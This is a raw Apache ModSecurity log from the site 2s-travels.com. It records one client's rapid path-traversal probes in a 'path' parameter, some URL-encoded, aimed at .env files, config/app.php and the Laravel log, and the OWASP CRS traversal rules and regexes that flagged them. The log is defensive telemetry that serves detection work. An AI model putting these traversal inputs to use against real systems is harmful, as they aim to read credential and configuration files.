[Fri Jul 17 08:55:04.124282 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPAAAAAE"]
[Fri Jul 17 08:55:04.125474 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPAAAAAE"]
[Fri Jul 17 08:55:04.125632 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.125969 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkOYpb_TFRze2EO3zPAAAAAE"]
[Fri Jul 17 08:55:04.130583 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HAAAABw"]
[Fri Jul 17 08:55:04.130663 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HAAAABw"]
[Fri Jul 17 08:55:04.132379 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HAAAABw"]
[Fri Jul 17 08:55:04.132609 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.138239 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkIZvbo7N5o5zeYC-HAAAABw"]
[Fri Jul 17 08:55:04.142420 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkC0HS8lGbZyK8qt25QAAACM"]
[Fri Jul 17 08:55:04.142486 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkC0HS8lGbZyK8qt25QAAACM"]
[Fri Jul 17 08:55:04.143675 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkC0HS8lGbZyK8qt25QAAACM"]
[Fri Jul 17 08:55:04.143822 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.144156 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkC0HS8lGbZyK8qt25QAAACM"]
[Fri Jul 17 08:55:04.148218 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPQAAAAE"]
[Fri Jul 17 08:55:04.148260 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPQAAAAE"]
[Fri Jul 17 08:55:04.148335 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:path: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPQAAAAE"]
[Fri Jul 17 08:55:04.149493 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPQAAAAE"]
[Fri Jul 17 08:55:04.149653 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.149975 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkOYpb_TFRze2EO3zPQAAAAE"]
[Fri Jul 17 08:55:04.183663 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIgAAABs"]
[Fri Jul 17 08:55:04.183711 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIgAAABs"]
[Fri Jul 17 08:55:04.184862 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIgAAABs"]
[Fri Jul 17 08:55:04.184989 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.185276 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBIgAAABs"]
[Fri Jul 17 08:55:04.187614 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?path=..%2F..%2Fstorage%2Flogs%2Flaravel.log&extra=di_Z7DIvTVn_SW6ZCcRzrvLOX1mWf0Q8meF9N1A9wmfgfKQ9nBYqVYQIiAnPmHGXOOS-zIRqKaNV07SovX69lbwHroIBDBmUQlBjB_ZuVUCmQRBvVetgEHuK25hPRUgc0ouM8pGRaZrSeAlvycg086ZW1CZ37_q1NkMHTFdpOUz3fFySkjS1eey3PgM8105wukjPdRuVz1QRjEaWdwsjg0iHUZyj7Ki6-AMqer_pipyO03tk1eNDQ2fgm8zP05FfOw_sz0fGvkX9agurLPsXvuGm&ts=ONMIRFOUEJM23HLPINLDCLAQMDN2GATHLX4ZUZNQWRV4XS7B5N42OIMR77L6BZQXOG5TLM7FEN6HKMEUDQGZRMVQXUZKHEDVMGENQDLN4J4AEOJY4BIITGGF..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIwAAAAY"]
[Fri Jul 17 08:55:04.187698 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIwAAAAY"]
[Fri Jul 17 08:55:04.187780 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../storage/logs/laravel.log&extra=di_Z7DIvTVn_SW6ZCcRzrvLOX1mWf0Q8meF9N1A9wmfgfKQ9nBYqVYQIiAnPmHGXOOS-zIRqKaNV07SovX69lbwHroIBDBmUQlBjB_ZuVUCmQRBvVetgEHuK25hPRUgc0ouM8pGRaZrSeAlvycg086ZW1CZ37_q1NkMHTFdpOUz3fFySkjS1eey3PgM8105wukjPdRuVz1QRjEaWdwsjg0iHUZyj7Ki6-AMqer_pipyO03tk1eNDQ2fgm8zP05FfOw_sz0fGvkX9agurLPsXvuGm&ts=ONMIRFOUEJM23HLPINLDCLAQMDN2GATHLX4ZUZNQWRV4XS7B5N42OIMR77L6BZQXOG5TLM7FEN6HKMEUDQGZRMVQXUZKHEDVMGENQDLN4J4AEOJY4BIITGGFQRK24XHYLTSSAJ4J..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIwAAAAY"]
[Fri Jul 17 08:55:04.187858 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../storage/logs/laravel.log&extra=di_z7divtvn_sw6zccrzrvlox1mwf0q8mef9n1a9wmfgfkq9nbyqvyqiianpmhgxoos-zirqkanv07sovx69lbwhroibdbmuqlbjb_zuvucmqrbvvetgehuk25hprugc0oum8pgrazrsealvycg086zw1cz37_q1nkmhtfdpouz3ffyskjs1eey3pgm8105wukjpdruvz1qrjeawdwsjg0ihuzyj7ki6-amqer_pipyo03tk1endq2fgm8zp05ffow_sz0fgvkx9agurlpsxvugm&ts=onmirfouejm23hlpinldclaqmdn2gathlx4zuznqwrv4xs7b5n42oimr77l6bzqxog5tlm7fen6hkmeudqgzrmvqxuzkhedvmgenqdln4j4aeojy4biitggfqrk24xhyltssaj4j..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIwAAAAY"]
[Fri Jul 17 08:55:04.187903 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIwAAAAY"]
[Fri Jul 17 08:55:04.187955 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIwAAAAY"]
[Fri Jul 17 08:55:04.189720 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIwAAAAY"]
[Fri Jul 17 08:55:04.189933 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.190350 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBIwAAAAY"]
[Fri Jul 17 08:55:04.211014 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?path=..%2F..%2Fconfig%2Fapp.php&token=d9hErFRc5_9xGn_z5VjNJZDvqJD5iW98y5Zd-sUZ4hKwGC0LS_3O0qwZGNkVNDznGWd0ymsJ_aKIpRw0SS36JqJ0MT089uzuXtAW_cEzJyYqkVriq-ihuGMb0heFC54dafC20wsSFBVOZpMLKj0iExzRumFw7yOmYjs3d2W6NZrSjksTA5sGtNTzxbIJzdqwRV9dUYv-xNH4X7n6yppGRyjs3KWD4Hozb1aZ-HHzC9rTx7S4SpmhvDmzCJvDFYlkRFaIJanZDBHzbkxFfmdBGaNS&extra=TJOLI2MGTIRFDUPAJP3HKBTFTIRZGQR72XW5QRSRBJ6RXG527EAG6IPMRNANRVI5XB6JL6CTUO5Y3OE7AM4UPTA2WQ2RFODV6UWQDG66ZYIXBUJAG6IDCQE7I3TUVEVYL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfwAAAAQ"]
